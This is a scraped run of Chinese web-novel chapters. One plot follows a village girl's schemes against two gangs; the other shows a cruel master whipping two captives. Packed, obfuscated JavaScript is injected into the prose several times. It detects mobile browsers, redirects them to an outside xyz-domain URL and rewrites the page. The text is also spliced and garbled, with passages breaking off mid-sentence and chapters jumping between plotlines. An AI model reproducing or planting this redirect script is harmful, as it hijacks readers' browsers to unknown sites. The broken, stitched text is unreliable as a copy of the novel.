就在这份安宁祥和之中,一阵清脆而有节奏的马蹄声由远及近,停在了工地前。 那是一辆用上好楠木打造的马车,车壁光滑如镜,四角挂着铜制的风铃,拉车的是两匹油光水滑的北地骏马。 如此华贵的车驾,出现在这泥泞的乡间小道上,显得格格不入。 车帘掀开,下来一名四十岁上下的中年男子。 他身穿暗青色绸缎长衫,腰间系着玉带,面容儒雅,眼神却精光四射,举手投足间自有一股沉稳的气度。 他目光在忙碌的工地上扫过,最后落在正指挥着匠人搬运木料的顾老实身上,微微躬身,朗声问道: “请问,顾先生可在府上?在下青龙帮冯三,奉帮主之命,特来拜会。” 顾老实被这声“顾先生”叫得一愣,手里的木料都差点滑了下去。 他茫然地看着对方,又看了看自己满是泥灰的粗布衣裳,结结巴巴地道: “我……我就是顾老实……你找我?” 冯三脸上露出和煦的笑容,但那笑意并未抵达眼底。 他的目光越过顾老实,精准地落在了从屋里闻声走出的阿禾身上。 “在下所要拜会的,应当是您身后,这位真正能当家的‘先生’。” 顾家所有人的心都提到了嗓子眼。 青龙帮刚刚被阿禾设计跟海沙帮火并,搅得整个栖霞镇天翻地覆……他们来做什么? 冯三仿佛没看到顾家人紧张的神色,他朝身后一挥手,两名精干的汉子立刻从马车上抬下几口沉重的木箱,放在院中。 “小小薄礼,不成敬意。” 第426章 拖出去打 冯三的目光始终落在阿禾身上,语气里带着毫不掩饰的探究与欣赏,“乱石滩一局,借官府之刀,断海沙一臂,再借海沙之手,除心头之患。环环相扣,算无遗策。我家帮主说,此等手笔,当浮一大白。” 他没有绕任何圈子,直截了当地揭穿了一切。 顾大山和顾石头下意识地握紧了拳头,挡在了阿禾身前。 冯三却只是笑了笑,从怀中取出一块巴掌大小、通体乌黑的木牌,木牌上用阳刻手法雕着一条栩栩如生的盘龙。 “我家帮主对先生的才智激赏不已。他说,海沙帮是我帮多年心腹大患,先生此计,胜过我帮百名好手,这份人情,青龙帮不能不还。” 他将那块龙纹木牌双手奉上。 “此乃我青龙帮‘客卿令’,持此令者,便是我青龙帮的座上宾,所有分舵产业,皆可随意调用。” 他顿了顿,身体微微前倾,声音压低了几分,带着一股令人无法抗拒的诱惑。 “帮主还有一言相托。” “他想请先生再策划一桩‘买卖’。” “一桩……能让海沙帮那几条破船,再也离不开栖霞镇码头的买卖。” 院子里,落针可闻。 顾家兄弟的呼吸都停滞了,他们死死盯着那个叫冯三的男人,仿佛在看一个从地狱里爬出来的魔鬼。 可阿禾却只是静静地看着那块龙纹令牌,看了许久。 然后,她抬起头,迎上冯三那锐利的目光,脸上没有丝毫波澜,只轻轻问了一句: “成了之后,青龙帮在北边新得的水路,我要三成。” …… 裴应见靠在软榻边缘,紧挨着那个女人的腰侧。 他能听见她平稳下来的呼吸,也能听见自己胸膛里擂鼓般的心跳,两种声音交织,让他分不清彼此。 他不知自己为何要救她。 恨意如跗骨之蛆,啃噬着他的理智,可身体的本能却先一步做出了选择。 就在这片刻的沉寂中,那扇刚刚被秦月娘关上的雕花木门,无声无息地向内推开。 一道幽影滑了进来。 来人依旧坐在轮椅上,华服在昏暗的光线下流淌着暗沉的光泽。 萧玦的视线扫过屋内,最后定格在软榻边那副相互依偎的画面上,嘴角缓缓勾起一抹饶有兴味的弧度。 “真是……感人至深。” 他的声音很轻,却像淬了冰的针,扎得裴应见浑身血液倒流。 裴应见猛地抬头,试图撑起身体,却被两名无声出现的影卫死死按住肩膀,骨头发出不堪重负的呻吟。 他只能眼睁睁地看着萧玦控制着轮椅,慢条斯理地滑到榻前。 萧玦没有看他,目光怜爱地落在秦月娘苍白的脸上,仿佛在欣赏一件蒙尘的珍宝。 “我最听话的月娘,什么时候也学会了心软?”他伸出手,用玉质**冰冷的刀面拍了拍她的脸颊,“还是说,你忘了自己的身份?” 昏迷中的秦月娘无意识地蹙了蹙眉。 这个细微的动作似乎愉悦了萧玦。 “看来是我的管教松懈了。”他轻笑着收回**,语气陡然转冷,“拖出去。” 影卫得令,粗暴地拽起秦月娘。 她本就虚弱的身体软得像一截没有骨头的柳枝,刚被包扎好的伤口因这剧烈的动作再次裂开,鲜血迅速洇透了纱布,在月白色的衣衫上晕开一团刺目的红。 “……住手!”裴应见脱口出声。 萧玦将目光转向他,那双含笑的眼睛里满是残忍的探究,“心疼了?” 影卫将秦月娘拖到院子中央,冰冷的地面让她有了一丝清醒。 她睁开眼,茫然地看着头顶的萧玦,又看到了不远处被压制住的裴应见,血色从她脸上尽数褪去。 “主人……”她挣扎着想要跪伏,声音沙哑破碎。 萧玦做了个手势。 另一名影卫上前,手中凭空多出一条乌黑的长鞭,鞭梢缀着细小的倒钩。 “月娘,你让我很失望。”萧玦的声音依旧温和,“一件好用的工具,不该有自己的心思。既然有了,那便磨掉好了。” 话音未落,长鞭破空,带着凄厉的风声,狠狠抽在秦月娘的背上! “啪!” 皮肉绽开的声音清晰可闻。 秦月娘身体剧烈地弓起, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276985|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喉咙里发出一声压抑到极致的闷哼,却死死咬着唇,不肯泄露更多的痛楚。 裴应见眼睁睁看着那道鞭痕在她单薄的背上炸开,鲜血飞溅。 他仿佛能感觉到那鞭子抽在自己心上,痛得他呼吸都停滞了。 他想不明白,为何看到这个蛇蝎心肠的女人受苦,自己会痛到这种地步。 “主人……是月娘的错……月娘知错了……”她伏在地上,用尽力气说出卑微的忏悔,身体不住地颤抖。 第二鞭,第三鞭……接连落下。 每一鞭都精准地避开了致命要害,却又都落在了最能让人感受到痛苦的地方。 裴应见被死死按在地上,指甲抠进泥土,手背青筋暴起。 他死死盯着萧玦。 行刑的影卫忽然停手,躬身道:“主人,再打下去,人就废了。您手边……怕是会少个趁手的。” 萧玦闻言,像是才想起什么,偏头看向裴应见,笑意更深了。 “裴应见,你觉得呢?” 裴应见的胸膛剧烈起伏,他从牙缝里挤出声音,带着冰冷的嘲讽: “不过是想折磨我罢了。你的手段何必绕这么大的圈子?她也只是件工具,直接冲我来便是。” “说得对。”萧玦抚掌轻笑,“她的确是件工具,一件我用得最顺手的工具。本来好用得很,可惜啊……” 他拖长了语调,轮椅缓缓滑到秦月娘身边,用脚尖挑起她满是冷汗的下巴,强迫她抬起头。 “……不知从什么时候起,这件工具,好像生出了不该有的东西。” 他看着裴应见,眼神却像在穿透他,看向某个遥远的过去。 “比如说,心。” 萧玦的笑容变得诡异而兴奋,“你说,把一颗刚长出来的心,一点点挖出来,再亲手碾碎,是不是比直接杀了她,要有趣得多?” 他脚尖用力,秦月娘的头被迫仰得更高,露出一截脆弱的脖颈。 “继续。” 冰冷的两个字,让裴应见的瞳孔狠狠一缩。 那名影卫再次扬起了鞭子,这一次,鞭梢对准了秦月娘腰侧那道刚刚被他亲手包扎好的伤口。 第427章 这是你欠他的 淬着倒钩的鞭梢,在空中划出一道死亡的弧线,即将落在秦月娘腰侧绽开的血肉上。 时间仿佛在这一刻被拉长。 裴应见的喉咙里忽然发出一声不似人声的嘶吼。 按住他肩膀的两个影卫只觉身下一股巨力传来,竟被他挣得骨节作响,险些压制不住。 他双目赤红,死死锁住萧玦。 “……有意思。” 萧玦轻轻抬手,行刑的影卫那高高扬起的长鞭便硬生生停在半空。 他没再看地上如破布娃娃般的秦月娘,而是饶有兴致地打量着裴应见,像是在欣赏一头终于被激怒,露出獠牙的困兽。 “你心疼她?”萧玦的声音里带着愉悦的笑意,仿佛发现了什么新奇的玩具,“既然你这么想当英雄,我成全你。” 他控制着轮椅,滑到裴应见面前,用玉质**的柄抬起他的下巴。 “这样吧,她该受的每一鞭,你来替。如何?” 裴应见粗重地喘息着,血丝从嘴角溢出,他却笑了。 “好。” “主人!”按着裴应见的影卫忍不住出声,“他身上有伤……” “那就更有趣了,不是吗?”萧玦打断了他,笑意更浓,“把她弄醒,扶起来,让她好好看着。” 命令不容置喙。 一桶冰水兜头浇下,秦月娘浑身一激灵,从昏沉中被强行拽了出来。 她被人架着,像提线木偶般被迫跪坐在不远处,涣散的目光艰难地聚焦。 她看到了被两个影卫死死按在地上的裴应见。 也看到了另一个影卫手中那条沾着她血肉的乌黑长鞭。 “月娘,”萧玦的声音在她耳边响起,温柔得如同情人间的呢喃,“看清楚了。他现在所受的每一分痛,都是因为你生了不该有的心思。” “这是你欠他的。” 秦月娘的嘴唇翕动了一下,却发不出任何声音。 她只是看着,眼神空洞得可怕。 鞭子落下。 没有抽在背上,而是更残忍地落在了裴应见本就伤痕累累的大腿上。 “噗嗤——” 皮肉被倒钩撕裂的声音,在死寂的院子里格外清晰。 裴应见的身体猛地绷紧,肌肉虬结,冷汗瞬间浸透了额发,可他从喉咙到胸膛,没有泄露半分痛呼。 他只是看着她。 那双仿佛燃烧着火焰的眼睛,穿过痛苦的幔帐,直直地看着她。 秦月娘的身子细微地颤抖起来。 她看着他腿上绽开的血口,看着他咬紧的牙关,看着他眼中那份执拗。 她感觉不到自己身上的痛了,所有的感官,似乎都转移到了他的身上。 第二鞭,第三鞭…… 鞭打没有停止。 萧玦享受着这场精心编排的戏剧,他看着裴应见的隐忍,看着秦月娘那张毫无血色的脸上,那双空洞的眼睛里似乎有什么东西在碎裂。 他要的不是他们的命,而是要亲手碾碎他们之间那点可笑又可悲的牵绊。 不知过了多久,行刑的影卫停了下来,裴应见身下的地面已被血浸染成暗红色,他整个人像是刚从血池里捞出来,气息微弱,唯有那双眼睛,依旧亮着。 秦月娘始终没有反应,没有求饶,没有哭喊,就那么跪坐着,像一尊即将风化的石像。 萧玦的兴致终于淡了。 “没意思。”他撇了撇嘴,“拖下去,分开治伤。记住,别让他们**,这游戏……才刚刚开始。” 影卫们领命,将两个血人拖走。 其中一名跟在萧玦身后的贴身心腹,心中却泛起了嘀咕。 他不懂,主人今夜的所作所为,不像是要惩戒一个背叛的工具,反倒像是用最极端的方式,将那两人更紧地绑在了一起。 用一个人的血,浇灌另一个人心里的债。 这不像主人过去的手段。 主人变得……让他有些看不懂了。 而且,他似乎对月娘这个人本身,投入了远超一个“工具”该有的关注。 …… 秦月娘再次醒来时,是在自己那张雕花木床上。 腰侧的伤口被重新处理过,火辣辣地疼,但已不算什么。 她浑身都像散了架,脑子里一片空白。 门外传来两个侍女压低了声音的交谈。 “……西厢那位,还在发着高热呢……药喂下去就吐出来,根本灌不进去……” “可怜呐。你说这个,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276986|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想起来,上次郡主也是伤了不能吃药,你猜最后怎么着?最后是那位……嘴对嘴给喂进去的……” “啊?真的假的……” 侍女的声音渐渐远去。 屋内的秦月娘却像是被雷劈中,僵在了那里。 嘴对嘴……喂药? 裴应见? 对她? 她震惊在那里,久久没有动。 不知道过了多久,她缓缓地转动眼珠,看向自己被包扎好的腰侧。 然后慢慢地闭上了眼睛。 再睁开时,那双漂亮的凤眸里,所有的茫然、痛楚、挣扎,都已褪得干干净净。 取而代之的,是一种令人心悸的冷酷与决绝。 仿佛有什么东西,在她心里彻底**。 又有什么东西,正从灰烬里,涅槃重生。 …… 当夜,萧玦做了一个光怪陆离的梦。 梦里回到了现代。 他梦到了秦绵绵。 意外又不意外。 梦到在客栈里输给秦绵绵,掉入陷阱的时候。 梦到在破旧疗养院,他几次三番救秦绵绵的时候。 那个女人。 狡黠又温柔,冷酷又迷人,让他恨得牙痒,却又让他……念念不完。 画面一转,秦绵绵的脸突然又变成了朱七妹。 他回到了在京城跟朱七妹相处的那段时间。 朱七妹那个时候还在假装不会说话,对他的**也甘之如饴,时常用那双纯净又深沉的眼睛安静地看着他。 可忽然间,朱七妹的脸又变成了秦月娘——或者说另一个秦绵绵。 她穿着染血的月白色衣衫,手里拿着那条九节鞭,眼神冰冷地看着他,然后,她的唇角勾起一抹和秦绵绵一模一样的、嘲弄的笑。 “萧玦,你输给我了。” “不!” 他猛然从梦中惊醒,额上全是冷汗。 黑暗中,他喘息着,心跳如擂鼓。随即,他感觉到身下传来一阵无法忽视的、黏腻的潮湿。 萧玦的脸色瞬间变得铁青,不是因为梦境的荒唐,而是因为身体最诚实的背叛…… 惊怒、羞耻,最终都化为了一股阴狠到极致的戾气。 第428章 恩断义绝 长夜未尽。 萧玦猛地坐起,胸膛剧烈起伏,额角的青筋因着极致的怒火与羞耻而突突直跳。 身下那阵无法忽视的黏腻,像是一记响亮的耳光,抽得他理智断弦。 他一把掀开锦被,甚至来不及穿上外袍,只着一身凌乱的里衣便冲出房门。 轮椅飞也似的来到关押秦月娘的地方。 守在门外的影卫被他身上骇人的戾气惊得心头一凛,慌忙跪地。 可打开门,里面却没有人。 “人呢?”萧玦的声音像是淬了冰。 手下开始在郡主府内大肆搜寻。 最终有人来报: “回主人,郡主在……在西厢……” 话音未落,萧玦已如一阵携着冰霜的风,刮向西厢的方向。 他一脚踹开西厢的门。 然而屋内的景象,让他瞳孔骤然紧缩。 血。 满地都是血。 秦月娘站在屋子中央,月白色的衣衫上溅满了新鲜的、刺目的红。 她手里握着一支还在滴血的玉簪,簪尖锋利。 而在她脚边,裴应见仰面倒在血泊里,胸口处一个狰狞的血洞,双目圆睁,已然没了声息。 萧玦的怒火在这一刻竟诡异地凝固了,取而代之的是一种猎物被夺走的、难以言喻的狂怒与错愕。 “你……做了什么?”他死死盯着她,一字一顿地问。 秦月娘缓缓抬起头,那张苍白得没有一丝血色的脸上,神情是前所未有的平静,甚至可以说是空洞。 她看着萧玦,仿佛在看一个陌生人。 “主人不是嫌工具生了心么?”她轻声说,声音里听不出任何情绪,“我把它修好了。” “你敢!”萧玦的怒火轰然引爆。 他要的是折磨,是**,是亲手碾碎裴应见的傲骨,而不是这样一个结果! 她竟敢……竟敢毁了他的玩具! 他身形一闪,已到秦月娘面前,扼住她的脖颈将她狠狠掼在墙上。 玉簪“当啷”一声掉在地上。 秦月娘被撞得眼前发黑,腰侧的伤口再次崩裂,剧痛袭来,她却连眉头都没皱一下,只是用那双死寂的眼睛看着他。 这眼神彻底激怒了萧玦。 他手下用力,在她即将窒息昏厥时,又猛地松开,反手一掌劈在她的后颈。 秦月娘软软地滑倒在地。 “拖下去!关进地牢!我倒要看看,没了心,她的骨头有多硬!”萧玦的声音里满是暴虐。 影卫立刻上前,将昏迷的秦月娘拖走。 屋里只剩下萧玦和裴应见的“尸体”。 他走到跟前,用脚尖踢了踢裴应见毫无反应的身体,胸中的烦躁与恼怒不减反增。 “主人,这具尸首……”跟在身后的心腹影卫小心翼翼地问。 萧玦看了一眼那张死不瞑目的脸,厌恶地撇了撇嘴。 “拖去城外乱葬岗,喂野狗!” …… 天色蒙蒙亮,一辆简陋的板车吱呀作响地驶出城门,停在了京郊那片荒凉的乱葬岗。 负责处理尸首的影卫将那具血肉模糊的身体从车上拖下,随意地扔在杂草与旧土之间。 他看着这张不久前还充满生命力的脸,想起了他在院中替那个女人承受鞭笞时的眼神,心里莫名地堵得慌。 喂狗……裴应见的大名他也听闻过,没出事之前,他也算为数不多的为百姓着想的好人。 ……没想到就这么**。 而喂野狗也太过残忍。 他迟疑了片刻,终究是没敢违抗命令去挖坑埋葬,思来想去,最后只是解下自己身上一件半旧的粗布外裳,盖在了裴应见的身上,遮住了那张脸和胸口的血洞。 “尘归尘,土归土。下辈子,别再遇上这些人了。”他低声说了一句,转身赶着板车匆匆离去。 夜幕再次降临。 乱葬岗上,寒鸦悲啼,远处传来野狗的低吠。 盖在“尸体”上的粗布衣裳,忽然动了一下。 裴应见猛地吸了一口气,睁开眼来。 胸口传来撕裂般的剧痛,引得他忍不住剧烈地咳嗽起来,吐出的却是暗色的血块。 他活过来了。 脑海里,是秦月娘俯身下来时冰冷的脸。 玉簪刺入皮肉的尖锐痛感无比真实,但就在那一瞬间,一颗苦涩的药丸被强行塞入了他的口中,顺着喉咙滑下。 耳边是她用只有两人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“唉,大夫来看过了,说你中了奇毒,又急火攻心,伤了眼脉。这眼睛啊,怕是……难了。”妇人叹了口气,“不过你命大,能活下来就是万幸。是阿哑在溪边发现了你,把你拖回来的。” 妇人说着,朝旁边招了招手。 裴应见感觉到一个人轻飘飘走近,没有发出任何声音。 “就是阿哑救了你。她也是个可怜人,生下来就不会说话,爹娘死得早,一个人过活。”妇人絮絮叨叨地说着,忽然话锋一转,打趣道: “我看你们俩也算有缘。一个瞎,一个哑,将来凑合着搭个伴,谁也别嫌弃谁,倒也正好。你说怎么样?” 第429章 自取灭亡 冯三笑了,挥了挥手,身后两个壮汉立刻上前,撬开了那几口木箱的搭扣。 箱盖翻开的瞬间,所有人都瞪大了眼睛。 满箱的金银元宝和珠光宝气的首饰,在黄昏的余晖里晃出刺眼的光。 顾家院子里霎时死寂,连正在卖力干活的工匠都停了手,直勾勾地盯着那几口箱子,喉头滚动,咽着唾沫。 顾老实倒吸口凉气,下意识地就把阿禾往自己身后拉,嘴唇哆嗦着: “闺女,这东西……烫手!咱不能要!” 在他看来,这哪里是谢礼,分明是几口催命的棺材。 冯三对着顾老实拱了拱手,姿态放得极低,目光却始终落在阿禾身上: “先生,这是我们帮主的一点心意。帮主说了,只要先生肯出手,助我青龙帮拔掉海沙帮这颗钉子,日后栖霞镇的码头,先生与我帮主平起平坐。” 这条件,不可谓不丰厚。 阿禾却依旧神情淡淡的。 她轻声问:“陈帮主为何不亲自来?” 冯三脸上堆着的笑僵了僵,随即解释道:“帮中事务繁杂,上次乱石滩火并,兄弟们伤亡不小,帮主实在抽不开身。” 阿禾那双清澈的眼睛静静地看着他,看得冯三心里直发毛。 “他不是没空,”阿禾的语气平淡得像在说今天天气不错,“是不敢来。” “他怕我是个骗子,徒有虚名,诓他入局。也怕我是头喂不熟的狼,胃口太大,吞了他青龙帮。所以,派你来探探路,是也不是?” 冯三的额角渗出了细密的汗珠。 他喉结滑动,半晌,才从牙缝里挤出几个字:“……先生明鉴。” 他躬下身,这次是真心实意的敬畏:“帮主说了,只要能灭了海沙帮,任何代价,青龙帮都付得起!” “好。” 阿禾点点头。 “把这些东西抬回去。” 这话让在场所有人都愣住了。 冯三愕然抬头,顾家人更是满脸的不解。 阿禾迎着所有人的目光,伸出根手指。 “我的第一个条件:我要一万两现银。” 冯三彻底懵了,放着眼前价值数万的金银珠宝不要,却要个具体的数目?这是什么道理? 顾大娘更是急得快要哭出来,拉着女儿的袖子小声央求:“阿禾啊,你这是做啥呀……” 阿禾拍拍她的手安慰了她一下,然后又盯着冯三,缓缓道:“这一万两,不是给我的。是用来买海沙帮帮主雷豹的命。” 买命? 冯三精神振,这他懂! 不就是要刺客的赏金么?别说万两,青龙帮凑两万两都行! 他正要应下,却听阿禾接下来的话,让他浑身的血都凉了半截。 “回去立刻把消息散出去:青龙帮悬赏一万两白银,不求雷豹的项上人头,只求一个活着的雷豹。” “并且,这个悬赏,”阿禾的嘴角勾起抹极淡的弧度,“只对海沙帮内部的人有效。” 冯三呆立当场。 他脑子里转了无数个念头,最后化作巨大的困惑和惊惧: “先生!万万不可!雷豹此人暴虐多疑,您这么做,只会激怒他,让他把海沙帮拧成股绳,上下同心,跟我们死磕到底啊!以属下之见,重金寻觅死士,直接取其性命,方为上策!” “死磕?”阿禾轻笑声,“他凭什么跟你们死磕?凭那些昨天还称兄道弟,今天就盘算着怎么把他绑了换一万两银子的心腹吗?” 她踱了两步,声音不大,却字字敲在冯三的心坎上。 “一个**的雷豹,只会换来个更凶的头领,和群同仇敌忾的狼。” “可个活着的、开始怀疑身边所有人、看谁都像是要出卖自己的雷豹……他会亲手把海沙帮,从里到外,撕个粉碎。” “我要的,不是他的尸体。” 阿禾转过身,重新拿起框子里的针线,就着阳光慢条斯理地穿线。 “我要海沙帮,自取灭亡。” 冯三怔怔地看着眼前这个还在学绣花的乡下丫头,只觉得脊背上窜起股凉气,比面对雷豹雪亮的屠刀,还要冷。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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前两日还抢着来上工的工匠们,更是吓得连工具都没敢回来拿,刚刚恢复生机的工地,又一次死寂下来,只余那只断手在晨风中微微晃动,散发着不祥的气息。 冯三再次登门,脸色比锅底还要黑。 他一进屋,便对阿禾重重抱拳,声音里满是压抑的怒火与无奈: “先生,帮里的元老们……都炸了。他们说您这计策是妇人之仁,逼得雷豹狗急跳墙,要帮主立刻停了与您的约定,按江湖规矩,召集人手跟海沙帮真刀**地干!” 他顿了顿,语气更沉:“帮主虽压下了反对的声音,但也托我转告……希望先生能尽快给出一个能看到成效的法子,否则,他也撑不了太久。” 内外交困。 顾家人的哀求,青龙帮的催促,雷豹血腥的威胁,如三座大山,沉甸甸地压了下来。 屋子里,顾大娘在床上幽幽醒转,拉着顾老实的手,只是无声地流泪。 顾大山和顾小川顾石头兄弟三人眼珠子通红,死死地盯着阿禾,嘴唇翕动,却说不出一句话来。 所有人的目光都聚焦在阿禾身上,充满了恐惧、责备和最后的指望。 阿禾却像是没看见这一切。 她平静地站起身,走到院里,在那根木桩前站定。 在所有家人惊恐的注视下,她伸出手,亲自将那枚钉着断手的长钉,一点点拔了出来,然后将那只手取下。 整个过程,她的手没有一丝颤抖。 她让早已候在一旁的**子,将断手用石灰细细处理干净,寻了个木盒装好。 “这……”**子捧着盒子,手都在抖。 阿禾没理他,转身回到屋里,看向面色凝重的冯三,问了一个毫不相干的问题: “冯三哥,青龙帮最赚钱的产业是什么?海沙帮最依赖的财路,又是什么?” 冯三被问得一愣,下意识地答道:“我们帮……主要是靠几条通往内陆的丝绸和茶叶商路。海沙帮那群杂碎,则是靠着一条从海上走私私盐的航线发的家。” “好。” 阿禾点点头,在桌上铺开一张不知从哪弄来的简陋地图,上面只画着几条歪歪扭扭的线,代表着河流与道路。 她指着代表陆路的那几条线,对冯三下达了第二个指令。 “即刻起,收缩所有青龙帮的陆上商队,对外放出风声,就说被海沙帮连番打压,亏损惨重,已无力经营。” 她又点了点地图上代表海岸线的位置。 “同时,你暗中去联系附近所有被海沙帮欺压过、断了财路的盐商,告诉他们,我阿禾有法子,让他们不仅能拿回损失,还能赚得比以往更多。” 冯三彻底听不懂了。 自断财路? 联合一群破落户? 这跟打垮雷豹有什么关系? 可他看着日光下,那双比星辰还要真诚温和的眼睛,那股不容置疑的平静,最终还是咬着牙,重重地点了下头: “好!我信先生!” 冯三走后,顾石头再也忍不住,上前一步,担忧地问: “阿禾,你这到底是要做啥啊?咱家都快被人拆了!” 阿禾抬起头,目光越过三哥的肩膀,望向窗外晴朗的日光。 她走到哭泣的母亲身边,轻轻拍着她的背,声音柔和却带着一股不容辩驳的力量。 “爹,娘,大哥,你们放心。雷豹这种人,只懂得以血还血,以暴制暴。他要战,我便给他一场最大的‘战争’。” 她顿了顿,嘴角勾起一抹极淡的弧度,那笑容看起来很是温和,却不知道为何,仿佛还暗藏着锋芒。 “只是这场战争,不在街头,而在账本上。” 阿禾想了一会儿,又接着认真道: “而且我这么做,也不光是为了咱们家,更是为了这栖霞镇上,所有被他们欺压的百姓,能有个安生日子过。” 顾家人都听愣了。 仔细想想,自家这个女儿,一直以来所做的事情,好像真的不光是在为自己。 之前对付王二癞子,对付**子,还有这次对付海沙帮。 她好像,一直都站在正义的这一边? 顾家人的心突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301003|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然又都暖了起来。 …… 冯三走后的第三天,栖霞镇的气氛变得诡异起来。 青龙帮仿佛一夜之间从镇上蒸发了。 原本还算热闹的几处堂口都关了门,街面上再也见不到他们的人走动,就像一只受伤后缩回洞穴的猛兽,舔舐着伤口,再无声息。 反观海沙帮,气焰愈发嚣张。 雷豹手下的喽啰们三五成群,横行于市井,收保护费的动静比以往大了数倍,稍有不从便是拳脚相加。 镇民们敢怒不敢言,只能绕道而行,整个栖霞镇都笼罩在一股压抑的阴云之下。 所有人都觉得,青龙帮这是被打怕了,要不了多久,这栖霞镇就要彻底姓雷了。 然而,就在这天傍晚,一则石破天惊的消息顺着码头的腥咸海风,瞬间传遍了镇上所有阴暗的角落——海沙帮今早出海收盐的船,在近海被劫了! 船上七名帮众,全都被扔进了海里,生死不知。 船舱里码放得整整齐齐的数百包私盐,被抢掠一空。 最要命的是,动手的人还在船上显眼的位置留下了一枚腰牌。 黄杨木质地,正面刻着条张牙舞爪的青龙,背面,则是一个清晰的“冯”字。 海沙帮总堂。 “砰!” 雷豹一脚踹翻了身前的楠木八仙桌,桌上的茶具碗碟稀里哗啦碎了一地。 他死死地攥着那枚从船上搜来的腰牌,指节因为过度用力而捏得发白,手背上青筋暴起。 “陈默……冯三……好!好得很!”雷豹咬着牙,从齿缝里挤出几个字,“老子还没去找你,你倒先等不及了!真当老子是泥捏的吗!” 他环视着堂下噤若寒蝉的众头目,咆哮道: “传我命令!所有兄弟,抄家伙!把帮里所有的银子都拿出来,今晚就去把青龙帮那几家铺子,连人带货,给我烧成灰!” “帮主三思!”一名资格较老的头目硬着头皮上前,“我们刚折了人手,元气未复,陈默那边又诡诈……此时硬拼,怕是……” 话音未落,雷豹突然拔出腰间的佩刀—— 第432章 变故突生 冯三像是被一道天雷劈中,僵在原地。 他瞪大了眼睛,看着眼前平静得不像话的阿禾,只觉得自己的脑子不够用了。 阿禾走到扑倒在地的**子身边,示意顾大山先将他扶起来处理伤口,这才转身对冯三解释道: “那个暗桩,是我故意送给雷豹杀的。他嗜赌,嘴不严,早晚会坏事,与其留着做隐患,不如用他的命,给雷豹喂一颗定心丸。” 她顿了顿,声音平缓而清晰: “雷豹此人,暴虐多疑。一个太过顺利的圈套,他反而不敢踩进来。如今他‘识破’了我们的换盐诡计,自以为看穿了一切,下一步,他会做什么?” 冯三的喉结滚动了一下,顺着阿禾的思路,艰涩地吐出几个字:“他……他会将在仓库设下天罗地网,等着我们去自投罗网……” “不错。”阿禾点点头,“他会把海沙帮最精锐的人手,都埋伏在城西那个废弃的仓库里,等着青龙帮去‘偷梁换柱’,好将你们一网打尽。” “至于盐商那边,”阿禾的目光投向窗外沉沉的夜色,“他为了稳住那些人,拿到尾款,必然会用真盐去交易。但他刚刚经历‘背叛’,正是疑心最重的时候,绝不会让盐商们顺顺当当把盐运走。他会派出另一拨重兵,以‘护送’为名,实则监视,直到银货两讫。” 冯三呆呆地听着,只觉得一股寒气从脚底板直冲天灵盖。 原来,从头到尾,那批盐是真是假,根本就不重要。 阿禾真正的杀招,根本就不在那个仓库里! “那……那我们……” 阿禾从怀里取出一封早就写好的信,又拿出一块小小的、刻着“栖霞镇民”字样的木牌,一并交到他手里。 “这才是最后一步,也是真正的杀招。” “你立刻派个最信得过的人,连夜去一趟县衙,不要去见钱县令,直接去击鼓鸣冤。” “不要提私盐,就说有确切消息,海沙帮勾结外地商帮,因码头利益分配不均,即将在明日午时,于镇东码头爆发大规模械斗,届时血流成河,祸及无辜,恳请县尊大人为全镇百姓做主,前往**!” 她又看向**子。 他已经包扎好伤口,正一脸崇拜地看着她。 “**哥,你的任务最重。把这个消息,用你所有的渠道,给我传进海沙帮的每个角落里——” 阿禾的嘴角勾起那抹熟悉的、温和的弧度。 “就说雷豹已经和盐商们谈妥了,事成之后,他会把‘卖假盐’的黑锅甩给帮里几个资历最老的头目。他会拿着这些兄弟的项上人头,去官府换一份平安富贵,然后带着盐商预付的那笔巨款,远走高飞!” **子顿时瞪大眼睛! …… 次日,午时。 镇东码头,咸腥的海风吹得人衣袂猎猎作响。 雷豹与几名外地盐商的交易刚刚完成,白花花的银子堆在箱子里,晃得人眼晕。 然而,气氛却诡异地紧张。 “雷帮主,银货两讫,我等这便告辞了。”为首的盐商拱手道,眼角却不住地瞟向雷豹身后那群手持利刃、面色不善的海沙帮众。 